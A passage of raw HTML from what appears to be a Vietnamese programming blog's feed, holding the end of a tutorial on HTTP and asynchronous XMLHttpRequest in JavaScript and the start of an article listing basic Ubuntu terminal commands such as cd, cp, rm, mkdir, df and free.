class="token punctuation">(</span><span class="token string">"Sent"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Sent 200 { "args": {}, "headers": { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.8,vi;q=0.6", "Connection": "close", "Host": "httpbin.org", "Origin": "null", "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1" }, "origin": "183.81.50.73", "url": "https://httpbin.org/get" }</code></pre></div> <p>Kết quả cho thấy, dòng lệnh <strong>console.log('Sent')</strong> được thực hiện ngay sau lệnh <strong>req.send(null)</strong>. Và 2 câu lệnh <strong>console.log(req.status); console.log(req.responseText);</strong> chỉ được thực hiện khi có thông tin phản hồi về từ server. Đó chính là cách thức hoạt động của XMLHttpRequest bất đồng bộ.</p> <p>Ngoài ra, bạn có thể đăng ký sự kiện <strong>error</strong> để xử lý trường hợp request bị lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> req <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">XMLHttpRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"GET"</span><span class="token punctuation">,</span> <span class="token string">"https://httpbin.org/get"</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"load"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>status<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>responseText<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"error"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Error occurred!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> req<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Sent"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Trên đây là một số kiến thức cơ bản về HTTP và cách sử dụng XMLHttpRequest trong JavaScript để gửi HTTP request. Mình có thể tóm tắt như sau:</p> <ul> <li>HTTP - viết tắt của HyperText Transfer Protocol - giao thức truyền tải siêu văn bản, sử dụng giao thức TCP/IP</li> <li>HTTP hỗ trợ các phương thức request: GET, POST, HEAD, PUT, DELETE, CONNECT, TRACE, OPTIONS.</li> <li>XMLHttpRequest giúp bạn gửi HTTP request đến server và hỗ trợ hai kiểu request: đồng bộ và bất đồng bộ. Nhìn chung, bạn nên sử dụng kiểu bất đồng bộ.</li> </ul> <p>Về HTTP và XMLHttpRequest còn rất nhiều thứ, bài viết này chỉ đưa ra những kiến thức cơ bản nhất. Bạn có thể tự tìm hiểu thêm trên Internet.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="http://eloquentjavascript.net/18_http.html">HTTP and Forms</a></li> <li><a href="https://www.tutorialspoint.com/http/http_requests.htm">HTTP - Requests</a></li> <li><a href="https://www.tutorialspoint.com/http/http_status_codes.htm">HTTP - Status Codes</a></li> </ul>[email protected]<![CDATA[Các câu lệnh thường dùng trên Ubuntu - Linux]]><![CDATA[Ubuntu là một trong những phiên bản Linux phổ biến nhất. Vì vậy, hiện tại mình đang sử dụng hệ điều hành này. Theo mình, Ubuntu có những ưu điểm như: nhẹ, ổn định, an toàn, miễn…]]>https://completejavascript.com/cac-cau-lenh-thuong-dung-tren-ubuntu-linux/https://completejavascript.com/cac-cau-lenh-thuong-dung-tren-ubuntu-linux/<![CDATA[Command Line]]><![CDATA[Ubuntu]]>Wed, 16 Aug 2017 14:28:19 GMT<p>Ubuntu là một trong những phiên bản Linux phổ biến nhất. Vì vậy, hiện tại mình đang sử dụng hệ điều hành này. Theo mình, Ubuntu có những ưu điểm như: nhẹ, ổn định, an toàn, miễn phí và "nhanh". Từ "nhanh" ở đây mình đặt trong ngoặc kép vì nó không dùng để chỉ tốc độ xử lý phần cứng. Mà bởi vì, Ubuntu cung cấp rất nhiều các câu lệnh sử dụng trên Terminal giúp lập trình viên <a href="/hoc-lap-trinh-javascript-nhanh-hon/">làm việc nhanh chóng, đơn giản và hiệu quả</a>. Tin mình đi, một khi bạn đã biết sử dụng Ubuntu, bạn sẽ không muốn quay trở lại Windows nữa đâu.</p> <p>Dĩ nhiên, với phiên bản Ubuntu Desktop, bạn hoàn toàn có thể sử dụng Ubuntu theo cách mà bạn đang dùng trên Windows - với chuột và bàn phím. Nhưng sẽ là thiếu sót nếu như bạn không biết về những câu lệnh cơ bản, đơn giản mà lại hiệu quả sau đây.</p> <h2 id="khởi-động-cửa-sổ-câu-lệnh-terminal" style="position:relative;"><a href="#kh%E1%BB%9Fi-%C4%91%E1%BB%99ng-c%E1%BB%ADa-s%E1%BB%95-c%C3%A2u-l%E1%BB%87nh-terminal" aria-label="khởi động cửa sổ câu lệnh terminal permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi động cửa sổ câu lệnh Terminal</h2> <p>Có hai cách để mở Terminal trên Ubuntu:</p> <ul> <li>Cách 1: Nhấn phím cửa sổ, sau đó gõ Terminal, biểu tượng Terminal sẽ hiện ra. Bạn chỉ cần click chuột vào để mở nó.</li> <li>Cách 2: Sử dụng phím tắt: <strong>Ctrl Alt T</strong></li> </ul> <p>Lúc này, Terminal sẽ hiện lên như sau:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAeUlEQVQoz2NIDHAJDvCIjwxOiAxNi4sN9fHxsLf3cCCA3OztA10dGczkVMzlVcyklc0k1B3lzPW5VPQ4lPU58SFDLmVVZsV4NT0GfTYVEGJX0WNX1mVTNOBSIYiMuFXUWJQS1PUZDLhVoIiLWISkmUuFVDSqeehpBgArWWU0R5CLqQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Mở ternimal mặc định" title="Mở ternimal mặc định" src="/static/7143d38fced3cc066c4fe349f601036b/7c811/Cac-cau-lenh-thuong-dung-tren-ubuntu-linux-completejavascript.com_.png" srcset="/static/7143d38fced3cc066c4fe349f601036b/103f2/Cac-cau-lenh-thuong-dung-tren-ubuntu-linux-completejavascript.com_.png 165w, /static/7143d38fced3cc066c4fe349f601036b/748ba/Cac-cau-lenh-thuong-dung-tren-ubuntu-linux-completejavascript.com_.png 330w, /static/7143d38fced3cc066c4fe349f601036b/7c811/Cac-cau-lenh-thuong-dung-tren-ubuntu-linux-completejavascript.com_.png 660w, /static/7143d38fced3cc066c4fe349f601036b/4bd0f/Cac-cau-lenh-thuong-dung-tren-ubuntu-linux-completejavascript.com_.png 731w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Để mở một Terminal mới bạn có thể sử dụng lại hai cách trên. Trường hợp bạn muốn mở Terminal mới nằm trong cửa sổ hiện tại thì bạn có thể sử dụng tổ hợp phím: <strong>Ctrl Shift T</strong></p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 63.63636363636363%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA70lEQVQoz2PIy80sLyusqSqtKC8oKc7Jzk7OzErKyEzMyU1taq5paq5paKqqqSuvrSuvra9oaKpubK5ubatPTY+Ojo9kqChKLclJzkqILkzMLE3JTQuMyY9KzQlPKo7LnFzfM7muu6eytTGvujm/prWovreqfWJd1/TmiYlBoY0JcQw6nLLa7LLabLL6HMqGXKoaDDKaYKTBIKPCIK7CIK7KIKHGIAVGkqoMEiARRnElBpkiHV0GQy5VCDLgUjHgUjbkUTXkUQMjVSNeNSjigSEw14RPTYtDpczUjAGshzRkxK2iyaZUamIyqnlkaAYACbKKf4iIQ80AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Mở ternimal với nhiều tab" title="Mở ternimal với nhiều tab" src="/static/51c7e6fb5ee87a0ab8dbe741932cadc2/7c811/Cac-cau-lenh-thuong-dung-tren-ubuntu-linux-2-completejavascript.com_.png" srcset="/static/51c7e6fb5ee87a0ab8dbe741932cadc2/103f2/Cac-cau-lenh-thuong-dung-tren-ubuntu-linux-2-completejavascript.com_.png 165w, /static/51c7e6fb5ee87a0ab8dbe741932cadc2/748ba/Cac-cau-lenh-thuong-dung-tren-ubuntu-linux-2-completejavascript.com_.png 330w, /static/51c7e6fb5ee87a0ab8dbe741932cadc2/7c811/Cac-cau-lenh-thuong-dung-tren-ubuntu-linux-2-completejavascript.com_.png 660w, /static/51c7e6fb5ee87a0ab8dbe741932cadc2/c04c8/Cac-cau-lenh-thuong-dung-tren-ubuntu-linux-2-completejavascript.com_.png 726w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="danh-sách-các-câu-lệnh-cơ-bản-trong-ubuntu" style="position:relative;"><a href="#danh-s%C3%A1ch-c%C3%A1c-c%C3%A2u-l%E1%BB%87nh-c%C6%A1-b%E1%BA%A3n-trong-ubuntu" aria-label="danh sách các câu lệnh cơ bản trong ubuntu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Danh sách các câu lệnh cơ bản trong Ubuntu</h2> <h3 id="các-câu-lệnh-về-thư-mục-và-tập-tin" style="position:relative;"><a href="#c%C3%A1c-c%C3%A2u-l%E1%BB%87nh-v%E1%BB%81-th%C6%B0-m%E1%BB%A5c-v%C3%A0-t%E1%BA%ADp-tin" aria-label="các câu lệnh về thư mục và tập tin permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các câu lệnh về thư mục và tập tin</h3> <h4 id="pwd-path-working-directory" style="position:relative;"><a href="#pwd-path-working-directory" aria-label="pwd path working directory permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>pwd (path working directory)</h4> <p>In ra đường dẫn đến vị trí hiện tại bạn đang đứng.</p> <h4 id="ls-list" style="position:relative;"><a href="#ls-list" aria-label="ls list permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>ls (list)</h4> <p>Hiển thị danh sách các tập tin và thư mục trong thư mục hiện tại bạn đang đứng. Mặc định, lệnh này sẽ không in ra các file ẩn. Do đó, để in ra các file ẩn này, bạn sử dụng thêm tuỳ chọn <code>-a</code>.</p> <p>Câu lệnh trở thành: <code>ls -a</code></p> <h4 id="cd-change-directory" style="position:relative;"><a href="#cd-change-directory" aria-label="cd change directory permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>cd (change directory)</h4> <p>Thay đổi vị trí thư mục hiện tại - di chuyển đến vị trí thư mục khác. Một số cách khác nhau khi sử dụng lệnh <strong>cd</strong> là:</p> <ul> <li><code>cd .</code>: đứng nguyên ở thư mục hiện tại</li> <li><code>cd ..</code>: di chuyển đến thư mục cha của thư mục hiện tại</li> <li><code>cd -</code>: di chuyển đến thư mục trước khi di chuyển đến thư mục hiện tại</li> <li><code>cd</code> hoặc <code>cd ~</code>: di chuyển đến thư mục <code>/home/username</code> (ví dụ: /home/lampv). Đây là vị trí thư mục mặc định mỗi khi bạn mở Terminal. Và bạn có toàn quyền đối với thư mục này.</li> <li><code>cd /</code>: di chuyển đến thư mục root - thư mục gốc chứa mọi thư mục, trong đó có home/username</li> <li><code>cd &#x3C;tên thư mục con></code>: di chuyển đến thư mục con bên trong thư mục hiện tại</li> <li><code>cd &#x3C;đường dẫn đến thư mục></code>: di chuyển đến thư mục với đường dẫn là đường dẫn cứng. Đường dẫn cứng có thể ví dụ như: <strong>/home/lampv/Documents, ~/Documents/abc</strong>, ...</li> </ul> <h4 id="cp-copy" style="position:relative;"><a href="#cp-copy" aria-label="cp copy permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>cp (copy)</h4> <p>Dùng để sao chép tập tin hay thư mục đến một thư mục khác.</p> <ul> <li><code>cp &#x3C;tên tập tin> &#x3C;tên thư mục></code> : dùng để copy một tập tin vào một thư mục</li> <li><code>cp -r &#x3C;tên thư mục nguồn> &#x3C;tên thư mục đích></code> : dùng để copy thư mục nguồn vào thư mục đích</li> </ul> <h4 id="mv-move" style="position:relative;"><a href="#mv-move" aria-label="mv move permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>mv (move)</h4> <p>Dùng để di chuyển tập tin đến một thư mục mới đồng thời đổi tên tập tin đó.</p> <ul> <li><code>mv &#x3C;tên tập tin cũ> &#x3C;tên thư mục đích / tên tập tin mới></code>: di chuyển một tập tin đến thư mục mới đồng thời đổi tên tập tin.</li> <li><code>mv &#x3C;tên tập tin cũ> &#x3C;tên thư mục đích></code>: di chuyển tập tin đến thư mục đích và không đổi tên.</li> </ul> <h4 id="rm-remove" style="position:relative;"><a href="#rm-remove" aria-label="rm remove permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>rm (remove)</h4> <p>Dùng để xoá tập tin hay thư mục.</p> <ul> <li><code>rm &#x3C;tên tập tin></code>: dùng để xoá tập tin</li> <li><code>rm &#x3C;tên thư mục></code>: dùng để xoá một thư mục rỗng</li> <li><code>rm -r &#x3C;tên thư mục></code>: xoá bất kỳ thư mục nào</li> </ul> <h4 id="mkdir-make-directory" style="position:relative;"><a href="#mkdir-make-directory" aria-label="mkdir make directory permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>mkdir (make directory)</h4> <p>Dùng để tạo thư mục mới : <code>mkdir &#x3C;tên thư mục></code></p> <h4 id="touch" style="position:relative;"><a href="#touch" aria-label="touch permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>touch</h4> <p>Dùng để tạo file mới : <code>touch &#x3C;tên tập tin></code></p> <h4 id="man" style="position:relative;"><a href="#man" aria-label="man permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>man</h4> <p>Dùng để hiển thị hướng dẫn các câu lệnh: <code>man &#x3C;tên câu lệnh></code>.</p> <p>Ví dụ: <strong>man touch, man mkdir</strong>,...</p> <h3 id="các-câu-lệnh-về-thông-tin-hệ-thống" style="position:relative;"><a href="#c%C3%A1c-c%C3%A2u-l%E1%BB%87nh-v%E1%BB%81-th%C3%B4ng-tin-h%E1%BB%87-th%E1%BB%91ng" aria-label="các câu lệnh về thông tin hệ thống permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các câu lệnh về thông tin hệ thống</h3> <h4 id="df" style="position:relative;"><a href="#df" aria-label="df permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>df</h4> <p>Hiển thị mức độ chiếm dụng không gian đĩa cứng của tập tin hệ thống ở tất cả các phân vùng được gắn kết. Đơn vị hiển thị là 1K.</p> <p>Để hiển thị kết quả với đơn vị MB hay GB (dễ đọc hơn), bạn có thể dùng thêm tuỳ chọn <code>-h</code> (human-readable), câu lệnh thành <code>df -h</code>.</p> <h4 id="du" style="position:relative;"><a href="#du" aria-label="du permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>du</h4> <p>Hiển thị mức chiếm dụng không gian đĩa cứng ở thư mục hiện tại và các thư mục con. Có một số tuỳ chọn mà bạn có thể sử dụng:</p> <ul> <li><code>-h</code>: (human-readable) kết quả hiển thị sử dụng đơn vị là KB, MB hay GB</li> <li><code>-s</code>: (summary) hiển thị tổng dung lượng</li> </ul> <h4 id="free" style="position:relative;"><a href="#free" aria-label="free permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>free</h4> <p>Hiển thị dung lượng bộ nhớ RAM còn trống và đang được sử dụng với một số tuỳ chọn:</p> <ul> <li><code>-h</code>: (human-readable) hiển thị cách dễ đọc với con 